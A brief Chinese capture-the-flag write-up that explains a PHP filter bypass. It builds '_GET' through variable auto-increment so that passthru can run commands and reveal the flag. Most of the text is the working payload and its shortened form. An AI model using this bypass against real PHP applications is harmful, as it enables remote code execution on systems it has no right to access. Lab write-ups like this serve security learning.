根据cookie里面的提示,get传入looklook参数
代码就是无符号命令执行,注意数字1到3和大写字母C没过滤
~和|和^都过滤掉了,注意$没过滤,加减也没过滤可以尝试自增构造
payload
ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});
有个小技巧可以缩短长度
$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C){0};$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;($$_{1})($$_{2});
因此直接取第一位即可获得N
命令执行发现过滤了很多函数
但passthru没过滤。。
直接找flag即可